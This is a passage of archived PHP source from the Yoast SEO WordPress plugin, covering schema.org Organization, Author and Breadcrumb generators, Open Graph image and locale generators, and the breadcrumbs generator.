	 * The helpers surface
	 *
	 * @var Helpers_Surface
	 */
	public $helpers;

	/**
	 * Optional identifier for this schema piece.
	 *
	 * Used in the `Schema_Generator::filter_graph_pieces_to_generate()` method.
	 *
	 * @var string
	 */
	public $identifier;

	/**
	 * Generates the schema piece.
	 *
	 * @return mixed
	 */
	abstract public function generate();

	/**
	 * Determines whether the schema piece is needed.
	 *
	 * @return bool
	 */
	abstract public function is_needed();
}
generators/schema/organization.php000066600000005145152204306270013404 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Organization data.
 */
class Organization extends Abstract_Schema_Piece {

	/**
	 * Determines whether an Organization graph piece should be added.
	 *
	 * @return bool
	 */
	public function is_needed() {
		return $this->context->site_represents === 'company';
	}

	/**
	 * Returns the Organization Schema data.
	 *
	 * @return array The Organization schema.
	 */
	public function generate() {
		$logo_schema_id = $this->context->site_url . Schema_IDs::ORGANIZATION_LOGO_HASH;

		if ( $this->context->company_logo_meta ) {
			$logo = $this->helpers->schema->image->generate_from_attachment_meta( $logo_schema_id, $this->context->company_logo_meta, $this->context->company_name );
		}
		else {
			$logo = $this->helpers->schema->image->generate_from_attachment_id( $logo_schema_id, $this->context->company_logo_id, $this->context->company_name );
		}

		$organization = [
			'@type' => 'Organization',
			'@id'   => $this->context->site_url . Schema_IDs::ORGANIZATION_HASH,
			'name'  => $this->helpers->schema->html->smart_strip_tags( $this->context->company_name ),
		];

		if ( ! empty( $this->context->company_alternate_name ) ) {
			$organization['alternateName'] = $this->context->company_alternate_name;
		}

		$organization['url']   = $this->context->site_url;
		$organization['logo']  = $logo;
		$organization['image'] = [ '@id' => $logo['@id'] ];

		$same_as = \array_values( \array_unique( \array_filter( $this->fetch_social_profiles() ) ) );
		if ( ! empty( $same_as ) ) {
			$organization['sameAs'] = $same_as;
		}

		if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) {
			$organization['mainEntityOfPage'] = [
				'@id' => $this->context->main_schema_id,
			];
		}

		return $organization;
	}

	/**
	 * Retrieve the social profiles to display in the organization schema.
	 *
	 * @return array An array of social profiles.
	 */
	private function fetch_social_profiles() {
		$profiles = $this->helpers->social_profiles->get_organization_social_profiles();

		if ( isset( $profiles['other_social_urls'] ) ) {
			$other_social_urls = $profiles['other_social_urls'];
			unset( $profiles['other_social_urls'] );
			$profiles = \array_merge( $profiles, $other_social_urls );
		}

		/**
		 * Filter: 'wpseo_schema_organization_social_profiles' - Allows filtering social profiles for the
		 * represented organization.
		 *
		 * @param string[] $profiles
		 */
		$profiles = \apply_filters( 'wpseo_schema_organization_social_profiles', $profiles );

		return $profiles;
	}
}
generators/schema/author.php000066600000005736152204306270012210 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

/**
 * Returns schema Author data.
 */
class Author extends Person {

	/**
	 * Determine whether we should return Person schema.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type === 'user' ) {
			return true;
		}

		if (
			$this->context->indexable->object_type === 'post'
			&& $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type )
			&& $this->context->schema_article_type !== 'None'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Returns Person Schema data.
	 *
	 * @return bool|array Person data on success, false on failure.
	 */
	public function generate() {
		$user_id = $this->determine_user_id();
		if ( ! $user_id ) {
			return false;
		}

		$data = $this->build_person_data( $user_id );

		if ( $this->site_represents_current_author() === false ) {
			$data['@type'] = [ 'Person' ];
			unset( $data['logo'] );
		}

		// If this is an author page, the Person object is the main object, so we set it as such here.
		if ( $this->context->indexable->object_type === 'user' ) {
			$data['mainEntityOfPage'] = [
				'@id' => $this->context->main_schema_id,
			];
		}

		// If this is a post and the author archives are enabled, set the author archive url as the author url.
		if ( $this->context->indexable->object_type === 'post' ) {
			if ( $this->helpers->options->get( 'disable-author' ) !== true ) {
				$data['url'] = $this->helpers->user->get_the_author_posts_url( $user_id );
			}
		}

		return $data;
	}

	/**
	 * Determines a User ID for the Person data.
	 *
	 * @return bool|int User ID or false upon return.
	 */
	protected function determine_user_id() {
		$user_id = 0;

		if ( $this->context->indexable->object_type === 'post' ) {
			$user_id = (int) $this->context->post->post_author;
		}

		if ( $this->context->indexable->object_type === 'user' ) {
			$user_id = $this->context->indexable->object_id;
		}

		/**
		 * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output.
		 *
		 * @param int|bool $user_id The user ID currently determined.
		 */
		$user_id = \apply_filters( 'wpseo_schema_person_user_id', $user_id );

		if ( \is_int( $user_id ) && $user_id > 0 ) {
			return $user_id;
		}

		return false;
	}

	/**
	 * An author should not have an image from options, this only applies to persons.
	 *
	 * @param array        $data      The Person schema.
	 * @param string       $schema_id The string used in the `@id` for the schema.
	 * @param bool         $add_hash  Whether or not the person's image url hash should be added to the image id.
	 * @param WP_User|null $user_data User data.
	 *
	 * @return array The Person schema.
	 */
	protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) {
		if ( $this->site_represents_current_author( $user_data ) ) {
			return parent::set_image_from_options( $data, $schema_id, $add_hash, $user_data );
		}

		return $data;
	}
}
generators/schema/breadcrumb.php000066600000012070152204306270013001 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Breadcrumb data.
 */
class Breadcrumb extends Abstract_Schema_Piece {

	/**
	 * Determine if we should add a breadcrumb attribute.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type === 'unknown' ) {
			return false;
		}

		if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) {
			return false;
		}

		return true;
	}

	/**
	 * Returns Schema breadcrumb data to allow recognition of page's position in the site hierarchy.
	 *
	 * @link https://developers.google.com/search/docs/data-types/breadcrumb
	 *
	 * @return bool|array Array on success, false on failure.
	 */
	public function generate() {
		$breadcrumbs   = $this->context->presentation->breadcrumbs;
		$list_elements = [];

		// In case of pagination, replace the last breadcrumb, because it only contains "Page [number]" and has no URL.
		if (
			(
				$this->helpers->current_page->is_paged()
				|| $this->context->indexable->number_of_pages > 1
			) && (
				// Do not replace the last breadcrumb on static post pages.
				! $this->helpers->current_page->is_static_posts_page()
				// Do not remove the last breadcrumb if only one exists (bugfix for custom paginated frontpages).
				&& \count( $breadcrumbs ) > 1
			)
		) {
			\array_pop( $breadcrumbs );
		}

		// Only output breadcrumbs that are not hidden.
		$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_hidden' ] );

		\reset( $breadcrumbs );

		/*
		 * Check whether at least one of the breadcrumbs is broken.
		 * If so, do not output anything.
		 */
		foreach ( $breadcrumbs as $breadcrumb ) {
			if ( $this->is_broken( $breadcrumb ) ) {
				return false;
			}
		}

		// Create the last breadcrumb.
		$last_breadcrumb = \array_pop( $breadcrumbs );
		$breadcrumbs[]   = $this->format_last_breadcrumb( $last_breadcrumb );

		// If this is a static front page, prevent nested pages from creating a trail.
		if ( $this->helpers->current_page->is_home_static_page() ) {

			// Check if we're dealing with a nested page.
			if ( \count( $breadcrumbs ) > 1 ) {

				// Store the breadcrumbs home variable before dropping the parent page from the Schema.
				$breadcrumbs_home = $breadcrumbs[0]['text'];
				$breadcrumbs      = [ \array_pop( $breadcrumbs ) ];

				// Make the child page show the breadcrumbs home variable rather than its own title.
				$breadcrumbs[0]['text'] = $breadcrumbs_home;
			}
		}

		$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_empty_text' ] );
		$breadcrumbs = \array_values( $breadcrumbs );

		// Create intermediate breadcrumbs.
		foreach ( $breadcrumbs as $index => $breadcrumb ) {
			$list_elements[] = $this->create_breadcrumb( $index, $breadcrumb );
		}

		return [
			'@type'           => 'BreadcrumbList',
			'@id'             => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH,
			'itemListElement' => $list_elements,
		];
	}

	/**
	 * Returns a breadcrumb array.
	 *
	 * @param int   $index      The position in the list.
	 * @param array $breadcrumb The position in the list.
	 *
	 * @return array A breadcrumb listItem.
	 */
	private function create_breadcrumb( $index, $breadcrumb ) {
		$crumb = [
			'@type'    => 'ListItem',
			'position' => ( $index + 1 ),
			'name'     => $this->helpers->schema->html->smart_strip_tags( $breadcrumb['text'] ),
		];

		if ( ! empty( $breadcrumb['url'] ) ) {
			$crumb['item'] = $breadcrumb['url'];
		}

		return $crumb;
	}

	/**
	 * Creates the last breadcrumb in the breadcrumb list, omitting the URL per Google's spec.
	 *
	 * @link https://developers.google.com/search/docs/data-types/breadcrumb
	 *
	 * @param array $breadcrumb The position in the list.
	 *
	 * @return array The last of the breadcrumbs.
	 */
	private function format_last_breadcrumb( $breadcrumb ) {
		unset( $breadcrumb['url'] );

		return $breadcrumb;
	}

	/**
	 * Tests if the breadcrumb is broken.
	 * A breadcrumb is considered broken:
	 * - when it is not an array.
	 * - when it has no URL or text.
	 *
	 * @param array $breadcrumb The breadcrumb to test.
	 *
	 * @return bool `true` if the breadcrumb is broken.
	 */
	private function is_broken( $breadcrumb ) {
		// A breadcrumb is broken if it is not an array.
		if ( ! \is_array( $breadcrumb ) ) {
			return true;
		}

		// A breadcrumb is broken if it does not contain a URL or text.
		if ( ! \array_key_exists( 'url', $breadcrumb ) || ! \array_key_exists( 'text', $breadcrumb ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks whether the breadcrumb is not set to be hidden.
	 *
	 * @param array $breadcrumb The breadcrumb array.
	 *
	 * @return bool If the breadcrumb should not be hidden.
	 */
	private function not_hidden( $breadcrumb ) {
		return empty( $breadcrumb['hide_in_schema'] );
	}

	/**
	 * Checks whether the breadcrumb has a not empty text.
	 *
	 * @param array $breadcrumb The breadcrumb array.
	 *
	 * @return bool If the breadcrumb has a not empty text.
	 */
	private function not_empty_text( $breadcrumb ) {
		return ! empty( $breadcrumb['text'] );
	}
}
generators/open-graph-image-generator.php000066600000014114152204306270014540 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Error;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Open_Graph\Images;

/**
 * Represents the generator class for the Open Graph images.
 */
class Open_Graph_Image_Generator implements Generator_Interface {

	/**
	 * The Open Graph image helper.
	 *
	 * @var Open_Graph_Image_Helper
	 */
	protected $open_graph_image;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Images constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Open_Graph_Image_Helper $open_graph_image Image helper for Open Graph.
	 * @param Image_Helper            $image            The image helper.
	 * @param Options_Helper          $options          The options helper.
	 * @param Url_Helper              $url              The url helper.
	 */
	public function __construct(
		Open_Graph_Image_Helper $open_graph_image,
		Image_Helper $image,
		Options_Helper $options,
		Url_Helper $url
	) {
		$this->open_graph_image = $open_graph_image;
		$this->image            = $image;
		$this->options          = $options;
		$this->url              = $url;
	}

	/**
	 * Retrieves the images for an indexable.
	 *
	 * For legacy reasons some plugins might expect we filter a WPSEO_Opengraph_Image object. That might cause
	 * type errors. This is why we try/catch our filters.
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The images.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$image_container        = $this->get_image_container();
		$backup_image_container = $this->get_image_container();

		try {
			/**
			 * Filter: wpseo_add_opengraph_images - Allow developers to add images to the Open Graph tags.
			 *
			 * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
			 */
			\apply_filters( 'wpseo_add_opengraph_images', $image_container );
		} catch ( Error $error ) {
			$image_container = $backup_image_container;
		}

		$this->add_from_indexable( $context->indexable, $image_container );
		$backup_image_container = $image_container;

		try {
			/**
			 * Filter: wpseo_add_opengraph_additional_images - Allows to add additional images to the Open Graph tags.
			 *
			 * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
			 */
			\apply_filters( 'wpseo_add_opengraph_additional_images', $image_container );
		} catch ( Error $error ) {
			$image_container = $backup_image_container;
		}

		$this->add_from_templates( $context, $image_container );
		$this->add_from_default( $image_container );

		return $image_container->get_images();
	}

	/**
	 * Retrieves the images for an author archive indexable.
	 *
	 * This is a custom method to address the case of Author Archives, since they always have an Open Graph image
	 * set in the indexable (even if it is an empty default Gravatar).
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The images.
	 */
	public function generate_for_author_archive( Meta_Tags_Context $context ) {
		$image_container = $this->get_image_container();

		$this->add_from_templates( $context, $image_container );
		if ( $image_container->has_images() ) {
			return $image_container->get_images();
		}

		return $this->generate( $context );
	}

	/**
	 * Adds an image based on the given indexable.
	 *
	 * @param Indexable $indexable       The indexable.
	 * @param Images    $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_indexable( Indexable $indexable, Images $image_container ) {
		if ( $indexable->open_graph_image_meta ) {
			$image_container->add_image_by_meta( $indexable->open_graph_image_meta );
			return;
		}

		if ( $indexable->open_graph_image_id ) {
			$image_container->add_image_by_id( $indexable->open_graph_image_id );
			return;
		}

		if ( $indexable->open_graph_image ) {
			$meta_data = [];
			if ( $indexable->open_graph_image_meta && \is_string( $indexable->open_graph_image_meta ) ) {
				$meta_data = \json_decode( $indexable->open_graph_image_meta, true );
			}

			$image_container->add_image(
				\array_merge(
					(array) $meta_data,
					[
						'url' => $indexable->open_graph_image,
					]
				)
			);
		}
	}

	/**
	 * Retrieves the default Open Graph image.
	 *
	 * @param Images $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_default( Images $image_container ) {
		if ( $image_container->has_images() ) {
			return;
		}

		$default_image_id = $this->options->get( 'og_default_image_id', '' );
		if ( $default_image_id ) {
			$image_container->add_image_by_id( $default_image_id );

			return;
		}

		$default_image_url = $this->options->get( 'og_default_image', '' );
		if ( $default_image_url ) {
			$image_container->add_image_by_url( $default_image_url );
		}
	}

	/**
	 * Retrieves the default Open Graph image.
	 *
	 * @param Meta_Tags_Context $context         The context.
	 * @param Images            $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_templates( Meta_Tags_Context $context, Images $image_container ) {
		if ( $image_container->has_images() ) {
			return;
		}

		if ( $context->presentation->open_graph_image_id ) {
			$image_container->add_image_by_id( $context->presentation->open_graph_image_id );
			return;
		}

		if ( $context->presentation->open_graph_image ) {
			$image_container->add_image_by_url( $context->presentation->open_graph_image );
		}
	}

	/**
	 * Retrieves an instance of the image container.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return Images The image container.
	 */
	protected function get_image_container() {
		$image_container = new Images( $this->image, $this->url );
		$image_container->set_helpers( $this->open_graph_image );

		return $image_container;
	}
}
generators/breadcrumbs-generator.php000066600000031167152204306270013720 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Represents the generator class for the breadcrumbs.
 */
class Breadcrumbs_Generator implements Generator_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * The pagination helper.
	 *
	 * @var Pagination_Helper
	 */
	private $pagination_helper;

	/**
	 * Breadcrumbs_Generator constructor.
	 *
	 * @param Indexable_Repository $repository          The repository.
	 * @param Options_Helper       $options             The options helper.
	 * @param Current_Page_Helper  $current_page_helper The current page helper.
	 * @param Post_Type_Helper     $post_type_helper    The post type helper.
	 * @param Url_Helper           $url_helper          The URL helper.
	 * @param Pagination_Helper    $pagination_helper   The pagination helper.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Options_Helper $options,
		Current_Page_Helper $current_page_helper,
		Post_Type_Helper $post_type_helper,
		Url_Helper $url_helper,
		Pagination_Helper $pagination_helper
	) {
		$this->repository          = $repository;
		$this->options             = $options;
		$this->current_page_helper = $current_page_helper;
		$this->post_type_helper    = $post_type_helper;
		$this->url_helper          = $url_helper;
		$this->pagination_helper   = $pagination_helper;
	}

	/**
	 * Generates the breadcrumbs.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array<array<int, string>> An array of associative arrays that each have a 'text' and a 'url'.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$static_ancestors = [];
		$breadcrumbs_home = $this->options->get( 'breadcrumbs-home' );
		if ( $breadcrumbs_home !== '' && ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
			$front_page_id = $this->current_page_helper->get_front_page_id();
			if ( $front_page_id === 0 ) {
				$home_page_ancestor = $this->repository->find_for_home_page();
				if ( \is_a( $home_page_ancestor, Indexable::class ) ) {
					$static_ancestors[] = $home_page_ancestor;
				}
			}
			else {
				$static_ancestor = $this->repository->find_by_id_and_type( $front_page_id, 'post' );
				if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
					$static_ancestors[] = $static_ancestor;
				}
			}
		}
		$page_for_posts = \get_option( 'page_for_posts' );
		if ( $this->should_have_blog_crumb( $page_for_posts, $context ) ) {
			$static_ancestor = $this->repository->find_by_id_and_type( $page_for_posts, 'post' );
			if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
				$static_ancestors[] = $static_ancestor;
			}
		}
		if (
			$context->indexable->object_type === 'post'
			&& $context->indexable->object_sub_type !== 'post'
			&& $context->indexable->object_sub_type !== 'page'
			&& $this->post_type_helper->has_archive( $context->indexable->object_sub_type )
		) {
			$static_ancestor = $this->repository->find_for_post_type_archive( $context->indexable->object_sub_type );
			if ( \is_a( $static_ancestor, Indexable::class ) ) {
				$static_ancestors[] = $static_ancestor;
			}
		}
		if ( $context->indexable->object_type === 'term' ) {
			$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
			if ( $parent && $parent !== 'post' && $this->post_type_helper->has_archive( $parent ) ) {
				$static_ancestor = $this->repository->find_for_post_type_archive( $parent );
				if ( \is_a( $static_ancestor, Indexable::class ) ) {
					$static_ancestors[] = $static_ancestor;
				}
			}
		}
		$indexables = [];
		if ( ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
			// Get all ancestors of the indexable and append itself to get all indexables in the full crumb.
			$indexables = $this->repository->get_ancestors( $context->indexable );
		}
		$indexables[] = $context->indexable;

		if ( ! empty( $static_ancestors ) ) {
			\array_unshift( $indexables, ...$static_ancestors );
		}

		$indexables = \apply_filters( 'wpseo_breadcrumb_indexables', $indexables, $context );
		$indexables = \is_array( $indexables ) ? $indexables : [];
		$indexables = \array_filter(
			$indexables,
			static function ( $indexable ) {
				return \is_a( $indexable, Indexable::class );
			}
		);

		$crumbs = \array_map( [ $this, 'get_post_type_crumb' ], $indexables );

		if ( $breadcrumbs_home !== '' ) {
			$crumbs[0]['text'] = $breadcrumbs_home;
		}

		$crumbs = $this->add_paged_crumb( $crumbs, $context->indexable );

		/**
		 * Filter: 'wpseo_breadcrumb_links' - Allow the developer to filter the Yoast SEO breadcrumb links, add to them, change order, etc.
		 *
		 * @param array $crumbs The crumbs array.
		 */
		$filtered_crumbs = \apply_filters( 'wpseo_breadcrumb_links', $crumbs );

		// Basic check to make sure the filtered crumbs are in an array.
		if ( ! \is_array( $filtered_crumbs ) ) {
			\_doing_it_wrong(
				'Filter: \'wpseo_breadcrumb_links\'',
				'The `wpseo_breadcrumb_links` filter should return a multi-dimensional array.',
				'YoastSEO v20.0'
			);
		}
		else {
			$crumbs = $filtered_crumbs;
		}

		$filter_callback = static function ( $link_info, $index ) use ( $crumbs ) {
			/**
			 * Filter: 'wpseo_breadcrumb_single_link_info' - Allow developers to filter the Yoast SEO Breadcrumb link information.
			 *
			 * @param array $link_info The breadcrumb link information.
			 * @param int   $index     The index of the breadcrumb in the list.
			 * @param array $crumbs    The complete list of breadcrumbs.
			 */
			return \apply_filters( 'wpseo_breadcrumb_single_link_info', $link_info, $index, $crumbs );
		};
		return \array_map( $filter_callback, $crumbs, \array_keys( $crumbs ) );
	}

	/**
	 * Returns the modified post crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return array<int, string> The crumb.
	 */
	private function get_post_crumb( $crumb, $ancestor ) {
		$crumb['id'] = $ancestor->object_id;

		return $crumb;
	}

	/**
	 * Adds the correct ID to the crumb array based on the ancestor provided.
	 *
	 * @param Indexable $ancestor The ancestor indexable.
	 *
	 * @return string[]
	 */
	private function get_post_type_crumb( Indexable $ancestor ) {
		$crumb = [
			'url'  => $ancestor->permalink,
			'text' => $ancestor->breadcrumb_title,
		];

		switch ( $ancestor->object_type ) {
			case 'post':
				$crumb = $this->get_post_crumb( $crumb, $ancestor );
				break;
			case 'post-type-archive':
				$crumb = $this->get_post_type_archive_crumb( $crumb, $ancestor );
				break;
			case 'term':
				$crumb = $this->get_term_crumb( $crumb, $ancestor );
				break;
			case 'system-page':
				$crumb = $this->get_system_page_crumb( $crumb, $ancestor );
				break;
			case 'user':
				$crumb = $this->get_user_crumb( $crumb, $ancestor );
				break;
			case 'date-archive':
				$crumb = $this->get_date_archive_crumb( $crumb );
				break;
			default:
				// Handle unknown object types (optional).
				break;
		}

		return $crumb;
	}

	/**
	 * Returns the modified post type crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_post_type_archive_crumb( $crumb, $ancestor ) {
		$crumb['ptarchive'] = $ancestor->object_sub_type;

		return $crumb;
	}

	/**
	 * Returns the modified term crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return array<int, string> The crumb.
	 */
	private function get_term_crumb( $crumb, $ancestor ) {
		$crumb['term_id']  = $ancestor->object_id;
		$crumb['taxonomy'] = $ancestor->object_sub_type;

		return $crumb;
	}

	/**
	 * Returns the modified system page crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_system_page_crumb( $crumb, $ancestor ) {
		if ( $ancestor->object_sub_type === 'search-result' ) {
			$crumb['text'] = $this->options->get( 'breadcrumbs-searchprefix' ) . ' ' . \esc_html( \get_search_query() );
			$crumb['url']  = \get_search_link();
		}
		elseif ( $ancestor->object_sub_type === '404' ) {
			$crumb['text'] = $this->options->get( 'breadcrumbs-404crumb' );
		}

		return $crumb;
	}

	/**
	 * Returns the modified user crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_user_crumb( $crumb, $ancestor ) {
		$display_name  = \get_the_author_meta( 'display_name', $ancestor->object_id );
		$crumb['text'] = $this->options->get( 'breadcrumbs-archiveprefix' ) . ' ' . $display_name;

		return $crumb;
	}

	/**
	 * Returns the modified date archive crumb.
	 *
	 * @param string[] $crumb The crumb.
	 *
	 * @return string[] The crumb.
	 */
	protected function get_date_archive_crumb( $crumb ) {
		$home_url = $this->url_helper->home();
		$prefix   = $this->options->get( 'breadcrumbs-archiveprefix' );

		if ( \is_day() ) {
			$day           = \esc_html( \get_the_date() );
			$crumb['url']  = $home_url . \get_the_date( 'Y/m/d' ) . '/';
			$crumb['text'] = $prefix . ' ' . $day;
		}
		elseif ( \is_month() ) {
			$month         = \esc_html( \trim( \single_month_title( ' ', false ) ) );
			$crumb['url']  = $home_url . \get_the_date( 'Y/m' ) . '/';
			$crumb['text'] = $prefix . ' ' . $month;
		}
		elseif ( \is_year() ) {
			$year          = \get_the_date( 'Y' );
			$crumb['url']  = $home_url . $year . '/';
			$crumb['text'] = $prefix . ' ' . $year;
		}

		return $crumb;
	}

	/**
	 * Returns whether or not a blog crumb should be added.
	 *
	 * @param int               $page_for_posts The page for posts ID.
	 * @param Meta_Tags_Context $context        The meta tags context.
	 *
	 * @return bool Whether or not a blog crumb should be added.
	 */
	protected function should_have_blog_crumb( $page_for_posts, $context ) {
		// When there is no page configured as blog page.
		if ( \get_option( 'show_on_front' ) !== 'page' || ! $page_for_posts ) {
			return false;
		}

		if ( $context->indexable->object_type === 'term' ) {
			$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
			return $parent === 'post';
		}

		if ( $this->options->get( 'breadcrumbs-display-blog-page' ) !== true ) {
			return false;
		}

		// When the current page is the home page, searchpage or isn't a singular post.
		if ( \is_home() || \is_search() || ! \is_singular( 'post' ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Returns the post type parent of a given taxonomy.
	 *
	 * @param string $taxonomy The taxonomy.
	 *
	 * @return string|false The parent if it exists, false otherwise.
	 */
	protected function get_taxonomy_post_type_parent( $taxonomy ) {
		$parent = $this->options->get( 'taxonomy-' . $taxonomy . '-ptparent' );

		if ( empty( $parent ) || (string) $parent === '0' ) {
			return false;
		}

		return $parent;
	}

	/**
	 * Adds a crumb for the current page, if we're on an archive page or paginated post.
	 *
	 * @param string[]  $crumbs            The array of breadcrumbs.
	 * @param Indexable $current_indexable The current indexable.
	 *
	 * @return string[] The breadcrumbs.
	 */
	protected function add_paged_crumb( array $crumbs, $current_indexable ) {
		$is_simple_page = $this->current_page_helper->is_simple_page();

		// If we're not on a paged page do nothing.
		if ( ! $is_simple_page && ! $this->current_page_helper->is_paged() ) {
			return $crumbs;
		}

		// If we're not on a paginated post do nothing.
		if ( $is_simple_page && $current_indexable->number_of_pages === null ) {
			return $crumbs;
		}

		$current_page_number = $this->pagination_helper->get_current_page_number();
		if ( $current_page_number <= 1 ) {
			return $crumbs;
		}

		$crumbs[] = [
			'text' => \sprintf(
				/* translators: %s expands to the current page number */
				\__( 'Page %s', 'wordpress-seo' ),
				$current_page_number
			),
		];

		return $crumbs;
	}
}
generators/generator-interface.php000066600000000544152204306270013362 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;

interface Generator_Interface {

	/**
	 * Returns a string, or other Thing that the associated presenter can handle.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return mixed
	 */
	public function generate( Meta_Tags_Context $context );
}
generators/open-graph-locale-generator.php000066600000012767152204306270014731 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;

/**
 * Class Open_Graph_Locale_Generator.
 */
class Open_Graph_Locale_Generator implements Generator_Interface {

	/**
	 * Generates the OG Locale.
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return string The OG locale.
	 */
	public function generate( Meta_Tags_Context $context ) {
		/**
		 * Filter: 'wpseo_locale' - Allow changing the locale output.
		 *
		 * Note that this filter is different from `wpseo_og_locale`, which is run _after_ the OG specific filtering.
		 *
		 * @param string $locale Locale string.
		 */
		$locale = \apply_filters( 'wpseo_locale', \get_locale() );

		// Catch some weird locales served out by WP that are not easily doubled up.
		$fix_locales = [
			'ca' => 'ca_ES',
			'en' => 'en_US',
			'el' => 'el_GR',
			'et' => 'et_EE',
			'ja' => 'ja_JP',
			'sq' => 'sq_AL',
			'uk' => 'uk_UA',
			'vi' => 'vi_VN',
			'zh' => 'zh_CN',
		];

		if ( isset( $fix_locales[ $locale ] ) ) {
			return $fix_locales[ $locale ];
		}

		// Convert locales like "es" to "es_ES", in case that works for the given locale (sometimes it does).
		if ( \strlen( $locale ) === 2 ) {
			$locale = \strtolower( $locale ) . '_' . \strtoupper( $locale );
		}

		// These are the locales FB supports.
		$fb_valid_fb_locales = [
			'af_ZA', // Afrikaans.
			'ak_GH', // Akan.
			'am_ET', // Amharic.
			'ar_AR', // Arabic.
			'as_IN', // Assamese.
			'ay_BO', // Aymara.
			'az_AZ', // Azerbaijani.
			'be_BY', // Belarusian.
			'bg_BG', // Bulgarian.
			'bp_IN', // Bhojpuri.
			'bn_IN', // Bengali.
			'br_FR', // Breton.
			'bs_BA', // Bosnian.
			'ca_ES', // Catalan.
			'cb_IQ', // Sorani Kurdish.
			'ck_US', // Cherokee.
			'co_FR', // Corsican.
			'cs_CZ', // Czech.
			'cx_PH', // Cebuano.
			'cy_GB', // Welsh.
			'da_DK', // Danish.
			'de_DE', // German.
			'el_GR', // Greek.
			'en_GB', // English (UK).
			'en_PI', // English (Pirate).
			'en_UD', // English (Upside Down).
			'en_US', // English (US).
			'em_ZM',
			'eo_EO', // Esperanto.
			'es_ES', // Spanish (Spain).
			'es_LA', // Spanish.
			'es_MX', // Spanish (Mexico).
			'et_EE', // Estonian.
			'eu_ES', // Basque.
			'fa_IR', // Persian.
